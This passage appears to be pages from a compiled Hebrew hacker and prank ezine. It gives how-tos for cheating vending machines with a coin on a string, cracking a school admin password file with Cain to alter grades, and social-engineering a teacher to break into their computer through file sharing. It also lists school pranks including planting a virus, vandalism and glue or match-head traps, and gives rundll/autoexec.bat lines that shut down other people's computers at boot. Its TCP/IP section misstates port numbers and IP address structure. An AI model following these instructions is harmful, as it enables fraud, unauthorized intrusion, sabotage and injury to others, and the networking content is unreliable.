‫פחות מהמטבע המקורי‪ ,‬כי אם לא הפסדתם כסף ולא הרווחתם‪ ...‬אם לא בא לכם קולה‪,‬‬
‫תלחצו על כפתור‬
‫החזרת הכסף וקבלו ‪ 5‬שקל אמיתיים‪.‬‬

‫‪ -‬טריק ישן שמכונות חדשות מוגנות מפניו‪ ,‬והוא גם קשה לביצוע‪ :‬קדחו חור מאוד קטן‬
‫במטבע‪,‬‬
‫עם מקדח קטנצי'ק שאפשר לקנות בחנויות שיפוצים ועשה זאת בעצמך‪ .‬חשוב מאוד‬
‫שהחור לא יהיה‬
‫גדול מדי‪ ,‬כי אז המטבע מאבד ממשקלו והמכונה לא מזהה אותו‪ .‬קושרים חוט דק מאוד‬
‫אבל חזק‬
‫לחור‪ ,‬וההמשך ברור‪ .‬אבל חשוב להקפיד‪ ,‬לא להוריד את המטבע לאט לאט עם החוט ‪-‬‬
‫אלא להחזיק‬
‫בקצה של החוט ולזרוק את המטבע כרגיל‪ ,‬ככה שהחוט לא יעצור אותו ולא יפריע לו‪.‬‬
‫אם מפילים‬
‫את המטבע עם החוט‪ ,‬לאט לאט‪ ,‬המכונה יכולה לחשוב שהוא קל יותר ולחשוב שהוא‬
‫משהו אחר‪.‬‬
‫אחרי שהמטבע בפנים‪ ,‬מושכים אותו החוצה בזהירות‪ ,‬הפעם לאט‪ .‬הסכום כבר רשום‬
‫במכונה ולא יימחק‪.‬‬
‫עושים זאת שוב‪ .‬אחרי כמה פעמים‪ ,‬לוחצים על כפתור עודף ומקבלים כסף!‬
‫כדאי לעשות את זה עם מטבע של עשר או חמש‪ ,‬ככה מרוויחים יותר‪...‬‬

‫‪ -‬ועוד טריק‪ ,‬שלא מרוויחים ממנו כסף בדיוק אבל אם חושבים על זה אז בעצם כן‪:‬‬
‫וזה הטריק היחיד ש **בטוח** עובד בכל הכתבה הזו!‬
‫אם נתקעתם‪ ,‬במהלך חייכם‪ ,‬במאות ואלפי מטבעות של ‪ 5 / 10‬אגורות‪ ,‬בטוח שלא‬
‫תשתמשו בהם‬
‫בכלל בגלל שאם תתנו אותם לאיזה מוכר הוא יתעצבן עליכם ויחנוק לכם את הצורה‪.‬‬
‫אבל‪ ,‬למכונה אין חבל בסביבה אז היא לא תוכל לחנוק אותכם‪ .‬שימו במכונה את כל‬

‫‪395‬‬
‫מטבעות האגורות‬
‫שלכם‪ ,‬וכשתגיעו לחמישה שקלים ‪ -‬לחצו על כפתור החזרת עודף‪ .‬לא ייחזרו לכם‬
‫העשרות אגורות שלכם‪-‬‬
‫אלא מטבע יחיד ויפה של חמישה שקלים! ככה שבעצם לא הרווחתם כלום‪ ,‬אבל בעצם כן!‬
‫כי עם האגורות‬
‫לא הייתם עושים כלום!‬

‫שלכם‪,‬‬

‫‪Golgolet‬‬

‫איך להרגיז\לשגע מורים דרך מחשב‬

‫‪ .1‬לחסום את הגישה שלהם לאתרים עם מידע לימודי או‬


‫אתרים שהם צריכים להוציא מהם חומר לשיעור‬

‫תיכנסו לאקספלורר‪ .‬תלחצו על תפריט "כלים"‪" ,‬אפשרויות אינטרנט"‪.‬‬


‫שם יש תג "תוכן"‪ .‬כנסו אליו‪ .‬תלחצו על כפתור ה"אפשר"‪...‬‬
‫תבחרו סיסמא קשה ואז תיכנסו להגדרות‪.‬‬
‫שם תלחצו על התג "אתרים מאושרים" או משהו כזה ואז אתם יכולים‬
‫לאשר אתרים מסוימים ולבטל את ההרשאה לכניסת האתר "סנונית" וכל מיני כאלה‪...‬‬

‫‪396‬‬
‫‪ .2‬לשנות את הציונים של כל בית הספר‪....‬‬

‫תקחו את ‪ admin.pwl‬מאחד המחשבים בבית הספר‪.‬‬


‫תפרצו אותו עם תוכנת ‪ - CAIN‬יש על זה טקסט (כוח ברוטלי)‪.‬‬
‫אם המחשב של הציונים משותף והוא חלק מרשת הבית ספר‬
‫פשוט תיכנסו כ‪ admin-‬ברשת של בית ספר עם הסיסמא שגיליתם‪,‬‬
‫ואז יהיה לכם גישה למחשב הציונים‪ ...‬תשנו את כל‬
‫הציונים של מקבלי המאות ל‪ ,40-‬ואת של הגרועים ל‪.100\95-‬‬
‫אם אתם תירצו לעשות ששלכם יהיה ‪ ,70‬אתם מטומטמים‪.‬‬

‫‪ .3‬לפרוץ למחשב של מורה‪...‬‬

‫אם מורה צריך עזרה במחשב הביתי שלו‪ ,‬אנא‬


‫התנדבו למשימה‪ ....‬תעזרו לאותו מורה ותגידו‬
‫לו (בטלפון) שכדי לתקן את הבעייה צריך להגיד את‬
‫ה‪ .IP-‬כמובן שלמורה אין מושג מה זה‪ ,‬לכן תגידו‬
‫לו שזה משהו חשוב לתיקון הבעייה‪.‬‬
‫אז עכשיו‪...................................‬‬
‫תנחו אותו איך לשתף קבצים‪ .‬אל תגידו לו שזה‬
‫כדי לשתף קבצים‪ ,‬אלא כדי לתקן את הבעייה שלו‪.‬‬
‫(שכנראה זה שהוא לא יודע איך לכבות את המחשב‪)...‬‬
‫תפרצו אליו דרך שיתופים‪ ,‬תעתיקו את כל החומר במחשב‬
‫וזהו‪...........................‬‬

‫‪Golgolet‬‬

‫דברים כיפים לעשות בבית ספר – חלק ג'‬


‫"בנים הם כמו שירותים‪ .‬או שהם תפוסים‪ ,‬או שהם מסריחים"‬

‫"בנות הם כמו מסמר‪ .‬או שהם עקומות או שמישהו כבר דפק אותם"‬

‫בית ספר זה חרא של מקום‪ ,‬ואם עוד לא העיפו אותכם משם‪,‬‬


‫אז הנה לכם כל מיני דרכים ורעיונות בניסיון להנות במקום המחורבן הזה‪.‬‬

‫* החליפו את הרקע של שולחן העבודה בכל המחשבים בבי"ס לתמונת פורנו‪.‬‬

‫‪397‬‬
‫* השתילו וירוס על אחד המחשבים‪ ,‬והפעילו אותו‪.‬‬

‫* קחו גיר‪ ,‬עשו בצד אחד חור בגודל של כחצי סנטימטר‪.‬‬


‫כעת קחו גפרור‪ ,‬ושיברו את הראש (החלק עם החומר הדליק‪ ,‬בד"כ בצבע אדום) ותתקעו את זה‬
‫בתוך‬
‫החור שבגיר‪ .‬עכשיו כסו את זה באבקת גירים והניחו יחד עם כל הגירים‪ .‬כשהמורה יינסה‬
‫להשתמש בגיר‪,‬‬
‫יהיה רעש קטן של דליקה‪ ,‬ומין פס מגניב ארוך של עשן שחור מוזר‪...‬‬

‫* אם הכסא של המורה שלכם בצבע צהוב‪ ,‬תוכלו לעשות לו משהו מגניב‪.‬‬


‫קחו דבק מגע (בצבע צהוב כמובן)‪ ,‬ומירחו שיכבה נדיבה על הכיסא שניות ספורות לפני שהוא‬
‫נכנס‪.‬‬
‫(בשביל זה תדאגו שיהיה מישהו בחוץ שיודיע שהמורה בא כשהמורה בדרך לכיתה)‬

‫מקסימום אתם גם יכולים לקנות את הדבק מגע שקודם צריך לחכות ‪ 6 ,5‬דקות לפני‬
‫שמדביקים‪,‬‬
‫תמרחו את זה על הכיסא‪ ,‬ואז גם אם הוא יבוא רק עוד ‪ 3‬דקות לכיתה‪ ,‬הוא עדיין יידבק לכיסא‪.‬‬

‫* תעשו 'חליקות' במסדרונות תוך כדי שאתם מפילים ככה ילדים אחרים וגם מורים אם יש לך‬
‫אומץ‪.‬‬

‫* קחו את כל הסבון מהשירותים ותשפכו אותו על המסדרון‪.‬‬

‫* כמעט לכל בי"ס יש איזה סגנון של עיצוב בהדפסה‪.‬‬


‫הדפיסו הודעות מזויפיות באותו סגנון ועיצוב ושימו אותם בתא של המורה שלכם‪.‬‬
‫לדוגמא אתם יכולים להודיע לו על ביטול שיעור מתמטיקה מחר בשעה ‪ 12:15‬וכך להשיג שיעור‬
‫חופשי!‬

‫* להרבה מבתי הספר בארץ יש פקסים‪ .‬השיגו את המספר‪ ,‬ושלחו אליו מלא הודעות עם‬
‫שטויות‪.‬‬

‫* מלאו את הקירות בכתובת גרפיטי‪.‬‬

‫* שחקו "מנפץ המנורות" לפי החוקים הבאים‪:‬‬


‫כל אחד בתורו זורק כדורסל אל המנורה כאשר הראשון שמנפץ אותה מקבל נקודה‪.‬‬
‫כעת חפשו מנורה חדשה והתחילו מחדש‪ .‬הנקודות מצטברות עד שמישהו מגיעה לעשר והוא‬
‫המנצח‪.‬‬

‫* כיתבו בגדול מאוד על הלוח שבכיתה‪"FUCK YOU" :‬‬

‫* הדביקו תמונות פורנוגרפיות על התקרה בעזרת סלוטייפ‪.‬‬

‫* בשיעורים שבהם לומדים שפה מסויימת כמו לדוגמא אנגלית‪ ,‬יידיש‪ ,‬או צרפתית מרבים‬
‫להשתמש‬
‫ברדיוטייפ ולהשמיע הקלטות‪ .‬אם תוכלו להחליף את הקלטת של המורה בשלכם בלי שישים‬
‫לב‪ ,‬זה יהיה‬
‫מגניב‪ .‬צוות האתר סומך על הדימיון שלכם שתקליטו דברים שייעצבנו את המורה ויישפכו את‬
‫הכיתה‬
‫מצחוק‪.‬‬

‫* אם יש מורה מחליף‪ ,‬תמיד מומלץ לעבוד עליו כשהוא שואל לשמות שלכם‪.‬‬
‫אח"כ כשהוא רושם למורה מי עשה בלגנים הוא רושם שמות של ילדים שלא קיימים בכיתה‬
‫שלכם‪.‬‬

‫‪398‬‬
‫* תארגנו שהשעונים של כל הכיתה יצפצפו בשעה מסויימית באמצע השיעור‪ .‬ביפ ביפ ביפ‬
‫ביפ‪...‬‬

‫* כשיש מורה מחליף תעמידו פנים שאתם עולים חדשים ולא מבינים טוב עברית‪.‬‬
‫כך כשהמורה מבקש ממכם לעשות משהו תעשו כאילו אתם לא מבינים מה הוא אומר‪..‬‬

‫* אל תזוזו‪ .‬פשוט תישארו בתנוחה מסוימת כל הזמן‪ .‬זה נשמע קל אבל זה קשה‪.‬‬
‫וזה גם ידאיג את המורה‪ .‬אם מישהו קורה בשימכם‪ ,‬אל תסתובבו ואל תזיזו את העיניים‪.‬‬
‫פשוט תבחרו משהו בראש ותסתכלו עליו ורק עליו כל הזמן בלי לזוז‪ .‬אם מישהו יצחיק אותכם‪,‬‬
‫הכל נדפק‪ .‬אז ראו הוזהרתם!‬

‫* במקומות בבית ספר שבהם יש שטיח‪ ,‬תדביקו מסטיקים‪...‬‬

‫* בכ ‪ 150‬שקל אפשר לקנות אוזניות גדולות שהופכות גם לרמקולים בהזזת כפתור‪.‬‬


‫תשיגו כאלה וכנסו איתם ועם הווקמן שלכם לספרייה ותפעילו את השיר האהוב עליכם בפול‬
‫ווליום‪.‬‬

‫* כמו כן אתם גם יכולים לפתוח ספרי לימוד בספרייה ולהשאיר הודעות וציורים בעמודים‬
‫אקראיים‪.‬‬

‫* עוד משהו נחמד עם ספריות זה להשאיל ספרי מתח‪ ,‬ובבית לתלוש את העמוד שמגלה את כל‬
‫המיסתורין‪.‬‬
‫אם אין לכם כוח לקרוא את כל הספר‪ ,‬פשוט תילשו את שלושת העמודים האחרונים‪.‬‬
‫כעת אתם יכולים להחזיר את הספרים לספרייה‪.‬‬

‫* הניחו חתיכות חרא של כלבים בתוך המגירה‪/‬ות של המורה‪.‬‬

‫* אם יש לכם איזה דגל תלוי בכניסה לבית הספר‪,‬‬


‫החליפו אותו בדגל יותר ראוי עם סמל שטני או אנרכיסטי‪.‬‬

‫שלכם‪,‬‬

‫‪Golgolet‬‬

‫פריצת ‪ /‬החלפת ה ‪ICON‬‬


‫הערה‪:‬פריצה זו תתקיים בתנאי שהאייקון הוא התקל בלבד או שבא לכם לשנות או להחליף‬
‫אייקון‬

‫קיימות שיטות שונות לפריצת דיסקים שאותם תמצאו בפינת מאמרים בתפריט הקראקרים‪.‬‬
‫השיטות המקובלות והמקצועיות ש ‪ 100%‬עובדים הם‪:‬‬
‫‪ .1‬עריכה‪+‬תיכנות בשפה המקצועית "אסמבלי" ‪(-‬כל הקראקים שאתם מורידים)‬
‫‪ .2‬רג'יסטרים‪.‬‬
‫‪ .3‬תוכנות פירצה על מימשק "‪ "win‬שאותם ניתן להוריד באגף תוכנות הקראקרים‪.‬‬

‫‪399‬‬
‫‪ .4‬עריכה בשפת ‪.C‬‬
‫‪ .5‬הגדרת סי די רום וירטואלי‪.‬‬

‫למה צריך ביכלל לפרוץ דיסק סי די‪:‬‬


‫אתם לא יכולים לשחק או להפעיל תוכנה או דיסק או ישום כלשהו ללא הדיסק‪.‬‬
‫וזה נורא נורא מעצבן ולפעמים לא מוצאים קראקים למה שאתם צריכים‪.‬‬
‫או שלא ניתן לצרוב מדיסק מקורי לצרוב ריק‪.‬‬

‫מי עושה דברים כאלה‪ ,‬הגנות לסי די ‪:‬‬


‫בדרך כלל חברות מכובדות שממש לא בא לי להגיד את שמם כי אני שונא אותם‬
‫ולא רוצה לתת להם קרדיט ‪ .‬או פשוט כמעט כל דיסק מקורי פרט לאודיו‬
‫אבל לפעמים יש דברים מקורים ללא הגנות‪ ,‬זכרו!‬

‫מה הקשר לאייקון ולהגנת סי די‬


‫אם בא לכם לשנות סתם אייקון לסידי או שלפעמים האייקון זאת ההגנה המינימלית‬
‫שלו‪ ,‬בדרך כלל החברות ההם לא עושים זאת ‪ ,‬מי שעושה את זה הוא מפגר‪,‬‬
‫זה יכול להיות חבר שלכם שלא בא לו שתצרבו ממנו דיסק ועוד‪.‬‬
‫לפעמים האייקון זה מעין תקל לצריבה כשלא מצליחים לצרוב‪.‬‬
‫ואני לא מדבר על האייקונים של ווינדוס!! אז אני יראה לכם שיטה‬
‫נחמדה שרק אם האייקון זו הבעייה ניתם להסיר או להחליף אותו בקלות‪.‬‬

‫‪ .1‬הציגו את כל הקבצים המוסתרים‬


‫‪ .2‬תפשו בכונן הסי די קובץ בשם‬
‫‪autorun.inf‬‬
‫פתחו אותו ושם תראו בטח משהו כזה לדוגמה‪:‬‬
‫[‪]autorun‬‬
‫‪icon=cdico.ico‬‬

‫שבהנחה "‪ cd.ico‬זה שם האייקון וברור שהוא נימצא שם ‪ ,‬גם מוסתר ‪.‬‬
‫פשוט תמחקו את שנייהם וזהו בהנחה בלבד שזה התקל‪ .‬אבל לא חייב!‬
‫זה אפילו אם בא לכם לשנות או להעיף אייקון או שאתם צורבים דיסק שלכם ובא לכם לשים‪.‬‬
‫אם אתם לא בטוחים שהאייקון זה לא המדריך בישבילכם‪.‬‬

‫אם אתם רוצים להוסיף אייקון תעשו כך לפני הצריבה‪.‬‬


‫פתחו קובץ ‪ TXT‬חדש‪.‬‬
‫לכו ל‪ :‬התחל>הגדרות>אפשרויות תיקיה>תצוגה‬
‫ותוואדו שתי דברים‪:‬‬
‫א‪ .‬שיש לכם גישה לראות את שני הקבצים‬
‫ב‪ .‬שאתם יכולים לשנות ולראות סיומות קבצים‪.‬‬

‫‪ .3‬אחרי שפתחתם קובץ ‪( TXT‬טקסט) חדש תשיגו את האייקון שאתם רוצים שזה‬
‫יהיה אייקון הסידי‪.‬‬
‫‪?K.4‬‬
‫האייקון שאתם רוצים שהוא יהיה סמל הסידי שמו ‪ elite.ico‬לדוגמה‪?..‬‬
‫זוכרים את הטקסט?‬
‫רשמו בו עכשיו כך‬
‫[‪]autorun‬‬
‫‪=icon‬שם האייקון שלכם‪ico.‬‬

‫‪ .4‬שמרו את הטקסט אך החליפו לו את הסיומת מ ‪ TXT‬ל ‪INF‬‬


‫שזה מידע התקנה בדרך כלל!‬

‫‪400‬‬
‫‪ .5‬שנו את תכונות הקבצים במאפיינים למוסתרים וקריאה בלבד‪.‬‬
‫‪ .6‬תצרבו את מה שאתם רוצים ואת שני הקבצים האלו גם ישר לתוך הסי די‬
‫ללא שום מחיצה ובסוף הצריבה יהיה אייקון‪ .‬אל תדאגו הם מוסתרים! לא רואים אותם‬
‫אבל רק שתעשו <"המחשב שלי" > והסי די יהיה בכונן תראו אייקון יפה‪.‬‬

‫שלכם‪,‬‬

‫‪Golgolet‬‬

‫מבנה ‪TCP/IP‬‬
‫טוב‪ ,‬היום אני הולך להסביר בצורה הכי פשוטה שיש איך פועל ‪.Tcp/Ip‬‬
‫טוב‪ ,‬מה זה אייפי? אייפי = אינטרנט פרוטוקול‪ .‬לכל מחשב מארח יש אחד כזה‪.‬‬
‫נגיד‪ ,‬כשאתם ניכנסים לדפדפן האינטרנט‪ ,‬מה שאתם רואים זה לא אינטרנט‪ .‬מה‬
‫שאתם רואים זה תיקשור בין המחשב שלכם למחשב המארח באמצעות האינטרנט‪ .‬טוב‪,‬‬
‫אז הנה עוד כמה דברים על אייפי‪ .‬אייפי הוא בעצם סטרינג מסויים‪ .‬הסטרינג‬
‫הזה שוקל מקסימום ‪ 15‬ביטים‪ ,‬יעני יכולים להיות בו מקסימום חמש עשרה תוים‪.‬‬
‫האייפי מתחלק לארבעה חלקים‪ .‬כל חלק מופרד על ידי נקודה‪ .‬בכל חלק מקסימום‬
‫‪ 3‬ביטים‪ ,‬יעני יכולים להיות מקסימום שלושה תוים‪ .‬כל תו באייפי הוא מספר‪.‬‬
‫כל חלק של כתובת האייפי יכול להיות בין אפס למאתיים חמישים וחמש‪.‬‬

‫‪401‬‬
‫הנה כמה דוגמאות לכתובות אייפי חוקיות‪:‬‬

‫‪62.90.90.132‬‬
‫‪125.0.55.33‬‬
‫‪255.0.1.1‬‬
‫‪200.200.200.200‬‬

‫והנה כמה דוגמאות לכתובות אייפי לא חוקיות‪:‬‬

‫‪300.1.20.22‬‬
‫‪62.0.62‬‬
‫‪0.0.0.300‬‬
‫‪200.256.0.127‬‬

‫טוב‪ ,‬עכשיו אני מקווה שהבנתם קצת יותר טוב‪ .‬נגיד שאתם פותחים את הדפדפן‬
‫אינטרנט שלכם ופותחים את האתר של הטייגרס‪ ...‬סתם דוגמא‪ .‬אז הנה איך זה‬
‫קורה‪ :‬הדפדפן שלכם שולח פקודות יוניקס למחשב המארח שלכם‪ .‬המחשב המארח‬
‫שלכם שולח את הבקשה בצורה בינארית למחשב של הטייגרס‪ ,‬ואז המחשב שלנו מאשר‬
‫אתכם‪ ,‬שולח לשרת שלכם מידע של טקסט או סאונד או תמונות בדרך בינארית‪ ,‬ואז‬
‫המחשב שלכם מקבל פקודות יוניקס‪ ,‬והדפדפן מתרגם את הפקודות למה שאתם רואים‬
‫על המסך‪ .‬נגיד שהשגתם אייפי של מישהו‪ ,‬ואתם רוצים לדעת מה השרת שלו‪ .‬אז‬
‫אפשר לדעת לפי הסיומת של האייפי‪ .‬אז הנה רשימה קצרה של סיומות אייפי‪:‬‬

‫בזק בינלאומי‪212.179 :‬‬


‫נטוויז'ן‪62.0 :‬‬
‫אינטרנט זהב‪213.8 :‬‬
‫סרפרי לשעבר‪212.3 :‬‬
‫אינטרנט מתב‪213.57 :‬‬
‫קווי זהב‪212.199 :‬‬
‫תבל‪212.143 :‬‬

‫הסיומות נכתבו לפי הכתבה של פטשר על סיומות האייפי‪ .‬אבל רגע‪ ,‬איך משיגים‬
‫אייפי של מישהו? טוב‪ ,‬יש דרך די קלה‪ :‬תפתחו חלון אם אס דוס‪ ,‬תכתבו‬
‫‪ netstat -an‬והוא יראה לכם את כל החיבורים הזמינים‪ .‬אז‪ ,‬אם נגיד יש לכם‬
‫מישהו ממש מניאק באייסיקיו‪ ,‬אתם יכולים לפתוח חלון אס אס דוס‪ ,‬והוא יכתוב‬
‫לכם אייפי וליד נקודותיים וליד את מספר הפורט‪ ,‬שעל פיו אפשר לדעת בדיוק‬
‫מה זה‪ .‬כל סוגי המידע באינטרנט מחולקים לפי מספרים שנקראים פורטים‪.‬‬
‫המחשב שולח ומקבל מידע לפי הפורט‪ .‬הנה כמה מספרי פורטים שסתם אני זוכר‪:‬‬

‫פורט טלנט זה פורט ‪ :21‬נותן לך להריץ פקודות יוניקס על מחשבים אחרים‪.‬‬


‫פורט שליחת דואר אלקטרוני זה פורט ‪ :25‬מאפשר זיוף אי מיילים בטלנט‪.‬‬
‫פורט פינגר שכמעט לא קיים זה פורט ‪ :79‬נותן מלא מידע על המחשב המארח!!!‬
‫פורט דפי אינטרנט זה פורט ‪ :80‬זה הפורט של דפי אינרטנט‪ ,‬מה שיש בדפדפן‪.‬‬
‫פורט קריאת אי מייל זה פורט ‪ :110‬זה פורט מטומטם לקריאת דואר אלקטרוני‪.‬‬
‫פורט שיתופי זה פורט ‪ :139‬אחד הדרכים היותר טובות לפריצה!‬
‫פורט רשת מאובטחת זה פורט ‪ :433‬נראה אתכם עושים לזה משהו!‬
‫פורט שרתי פרוקסי זה פורט ‪ :1080‬ואני ממליץ מאוד להשתמש בפרוקסי‪.‬‬
‫פורט של סאב סבן זה פורט ‪ :1234‬טרוייאנים‪ ,‬ולא להשתמש בזה!‬
‫פורט של נט באס זה פורט ‪ :12345‬כנ"ל‪.‬‬
‫פורט של עוד איזה טרוייאן זה פורט ‪ :30303‬ואללה‪ ,‬לא זוכר מה היה השם שלו‪.‬‬

‫ואללה‪ ,‬זה כל מה שאני זוכר‪ .‬סורי‪ .‬פורטים‪ ,‬מספרי אייפי ומידע בינארי זה‬

‫‪402‬‬
‫האינטרנט‪ .‬זה הכל‪ ,‬מצטער לאכזב אתכם‪ .‬האינטרנט מורכב בסך הכל לא מהרבה‪:‬‬
‫סך הכל שלושה דברים עיקריים‪ .‬יש עוד דבר אחד‪ :‬איך להשיג את מספר האייפי‬
‫שלכם‪ .‬טוב‪ ,‬עושים התחל‪ ,‬ואחרי זה הפעלה וכותבים ‪ WINIPCFG‬ולוחצים אנטר‪.‬‬
‫שימו לב שאם אתם לא מחוברים כתובת האייפי שלכם תהיה ‪ ,127.0.0.1‬יעני משהו‬
‫כמו כתובת מקומית‪ .‬רק אחרי שתתחברו לאינטרנט תדעו מה האייפי שלכם‪.‬‬

‫טוב‪ ,‬אז כל הזכויות שמורות לי!!! שלכם‪,‬‬

‫‪Crossbow‬‬

‫שימוש בקובץ ‪ User.exe‬לשם פעילות בוינדואוז‬


‫טוב‪ ,‬לחלק מהאפליקציות של וינדואוז יש פקודות בתוכן‪ ,‬שמתפקדות על המערכת‪.‬‬
‫חקרתי כמה פקודות בתוך הקובץ המדהים הזה‪ ,‬אחריהם יהיו כמובן הסברים‪.‬‬

‫‪ :ExitWindows‬סוגר את המחשב‪.‬‬
‫‪ :ExitWindowsExeC‬עושה ריסט לוינדואוז‪.‬‬

‫‪403‬‬
‫‪ :UpdateWindow‬מעדכן את החלון הקיים‪.‬‬
‫‪ :GetSystemDebugState‬משיג את הדיבאגר של וינדואוז‪.‬‬
‫‪ :GetMenuState‬משיג מצב של תפריט‪.‬‬
‫‪ :CreateCursor‬משיג את הסמן של העכבר‪.‬‬
‫‪ :LoadCursor‬טוען את הסמן של העכבר‪.‬‬
‫‪ :GetForegroundWindow‬משיג את החלון האחורי ביותר‪.‬‬

‫לדעתי השימושיים ביותר הם ריסט של וינדואוז וסגירה של המחשב‪ .‬כמובן שאפשר‬


‫להפעיל את אלה רק מתוך מערכת וינדואוז‪ ,‬מכיוון שהקובץ ‪ User.exe‬פועל רק‬
‫בוינדואוז‪ .‬הייתה עוד בעייה‪ ,‬שהקובץ ‪ User.exe‬פועל כמו ‪ ,Dll‬יעני הרחבת‬
‫יישום‪ ,‬ואי אפשר היה להפעיל אותו מתוך האפליקצייה עצמה‪ .‬לכן‪ ,‬כאשר אנחנו‬
‫רוצים להפעיל פקודה תוכנית‪ ,‬יש לכתוב ככה‪:‬‬

‫‪C:\Windows\Rundll.exe user.exe,exitwindowsexec‬‬

‫זאת לדוגמא הרצה של פקודת ריסט‪ .‬יש כמה אפשרויות לשימוש בפקודות האלה‪:‬‬

‫‪ )1‬לעשות קיצורי דרך לסגירה של המחשב ושל ריסט‪ ,‬במקום התהליך הארוך מאוד‬
‫של ללחוץ על "התחל"‪" ,‬כיבוי"‪ ,‬ואז לסגור‪.‬‬
‫‪ )2‬לעשות משימה מתוזמנת על סגירה של מחשב‪ ,‬מומלץ בתוך מחשבים של ב"ס או‬
‫של חברים "טובים" שלכם‪ ,‬יעני כל פעם שוינדואוז עולה‪ ,‬המחשב ייכבה‪.‬‬
‫‪ )3‬לשים אותם בקבצי אצווה מסויימים‪ ,‬משחקים שפועלים על קובץ אצווה‪ ,‬למשל‪.‬‬

‫טוב‪ ,‬פה המדריך מסתיים‪ .‬אפשר לראות גם את הקשר בין הפקודות שציינתי למעלה‬
‫לבין ‪ ,Windows API‬כי כל ‪ API‬מבוסס על הקבצים האלה‪ .‬הרעיון של כל המדריך‬
‫הזה הוא בעיקר רק כדי שתבין את מבנה הוינדואוז ואת התהליכים שקורים בו‪.‬‬
‫למי שממש רוצה יכול לפתוח את ‪ User.exe‬בעזרת הכלי ‪ .Edit‬למי שלא יודע איך‬
‫ולמה אז‪ :‬הסיבה היא שבעזרת עורך טקסט מבוסס וינדואוז זה לא יעבוד‪ ,‬והעורך‬
‫הטוב ביותר (והיחיד המוכר!!!) לדוס הוא ‪ .Edit‬אז תעשו "התחל"‪" ,‬הפעלה"‪,‬‬
‫תכתבו "‪ "Edit C:\Windows\System\User.exe‬ותלחצו אנטר‪ .‬אל תשנו שום דבר‬
‫בקובץ רק תסתכלו ונסו להבין משהו‪.‬‬
‫שלכם‪,‬‬

‫‪Crossbow‬‬

‫קצת על קבצים מיוחדים במחשב (‪)autoexec.bat‬‬


‫טוב‪ ,‬היום נעבוד על קובץ מאוד קריטי וחשוב‪ .‬הקובץ הזה הוא ממש קובץ הפעלה‬
‫אבל בניגוד לכל קבצים האחרים יש לנו גישה אליו בלי להסתבך‪ .‬שם הקובץ הוא‬
‫‪Autoexec.bat‬‬
‫אם זה נשמע מוכר אז יופי‪ ,‬אם לא אז לא משנה‪ .‬קובץ זה הוא קובץ אצווה‬

‫‪404‬‬
‫שמטרתו היא להגדיר למערכת איך להשתמש באם אס דוס‪ .‬טוב‪ ,‬עכשיו‪ ,‬שתבינו‪,‬‬
‫הקובץ הזה נפתח בעצם כשהמחשב נפתח‪ .‬הרבה לפני וינדואוז‪ .‬אני מדבר כמובן‬
‫רק על גירסאות ‪ 95‬או ‪ 98‬של וינדואוז‪ ,‬או לאנשים ממש מסכנים על שלוש אחד‬
‫עשרה‪ :‬הגרסא הכי מסכנה של וינדואוז‪ ,‬אין לה אפילו את הרג'יסטרי‪ ...‬טוב‪,‬‬
‫בואו נחזור לקובץ שלנו‪ .‬הקובץ נמצא בדרך כלל‪ ,‬או אני חושב אפילו שתמיד‪:‬‬
‫‪C:/Autoexec.bat‬‬
‫נגיד שאתם בבית ספר ובראש שלכם להעביר מסר לכל מי‬
‫שייפתח את המחשב‪ .‬תפתחו את הקובץ שלנו‪ ,‬את אוטואיאקסאיסי נקודה באט‪ ,‬עם‬
‫הדבר הכי גאוני שנוצר‪ :‬הפנקס רשימות של וינדואוז‪ .‬עכשיו‪ ,‬אתם תראו משהו‬
‫כמו שתי שורות‪ ,‬בדרך כלל‪ .‬בקיצר‪ ,‬לא לגעת בהן! הן מאוד מאוד חשובות! טוב‪,‬‬
‫עכשיו תכתבו מתחת לשורות האלה מה שאתם רוצים‪ ,‬עם ההצהרה לכתיבה‪ .‬נגיד‬
‫שאנחנו רוצים לפרסם את האתר אינטרנט הכי טוב שקיים‪ ,‬אז נכתוב ככה בערך‪:‬‬
‫‪ECHO http://www.********.co.il‬‬
‫ואז כל מי שייפתח את המחשב ייראה ככה‪ .‬עוד דבר מגניב שיש הוא שאפשר לסגור‬
‫את המחשב עוד לפני שהוא נפתח‪ .‬פשוט תרשמו בקובץ אוטואיאקסאיסי ככה‪:‬‬
‫‪CALL c:\windows\rundll.exe user.exe,exitwindows‬‬
‫מה שיסגור את המחשב!!! חה חה חה! טוב‪ ,‬זה הי די מגניב! תתעסקו קצת עם זה‪,‬‬
‫אני עוד אחזור עם עוד קבצים כאלה!!!‬
‫שלכם‪,‬‬
‫‪Crossbow‬‬

‫‪405‬‬
‫‪ WINDOS XP‬בישביל ההאקרים‬
‫תכנסו לעזרה יש מילון מושגים והסברים על טלנט אני מאמין שגם על‬
‫עוד דברים‬
‫פקודות של ‪TELNET‬‬

‫פקודות ‪Telnet‬‬
‫שורת הפקודה של ‪ Telnet Client‬מקבלת את הפקודות הבאות‪:‬‬

‫תיאור‬ ‫פקודה‬
‫השתמש בפקודה ‪ open hostname portnumber‬כדי ליצור התקשרות ‪ Telnet‬למחשב‬
‫‪open‬‬
‫המארח‪.‬‬
‫השתמש בפקודה ‪ close‬כדי לסגור התקשרות ‪ Telnet‬קיימת‪.‬‬ ‫‪close‬‬
‫‪ Telnet.‬כדי להציג את ההגדרות הנוכחיות עבור לקוח ‪ display‬השתמש בפקודה‬

‫מפרטת את פרמטרי ההפעלה הנוכחיים‪ .‬אם אתה נמצא בהפעלה של ‪ display‬הפקודה‬


‫באמצעות ‪ CTRL+].‬כדי לשנות את הפרמטרים‪ ,‬הקש ‪ Telnet(,‬מחובר לשרת) ‪Telnet‬‬
‫הקש ‪ Telnet,‬כדי לחזור להפעלה של) ‪ Telnet‬פקודה זו ניתן לצאת מההפעלה של‬
‫‪:‬פרמטרי ההפעלה הבאים זמינים ‪ENTER(.‬‬
‫‪display‬‬
‫•‬ ‫(‪ NTLM‬אימות) ‪WILL AUTH‬‬
‫•‬ ‫‪WONT AUTH‬‬
‫•‬ ‫‪WILL TERM TYPE‬‬
‫•‬ ‫‪WONT TERM TYPE‬‬
‫•‬ ‫‪LOCALECHO off‬‬

‫•‬ ‫‪LOCALECHO on‬‬


‫השתמש בפקודה ‪ quit‬כדי לצאת מ‪.Telnet -‬‬ ‫‪quit‬‬
‫כדי לקבוע את סוג המסוף עבור ההתקשרות‪ ,‬להפעיל הד מקומי‪ ,‬לקבוע ‪ set‬השתמש בפקודה‬ ‫‪set‬‬
‫‪.‬לקבוע את תו היציאה ולקבוע את הרישום ביומן ‪- NTLM,‬את האימות ל‬

‫•‬ ‫‪ NTLM.‬מפעיל ‪SET NTLM‬‬

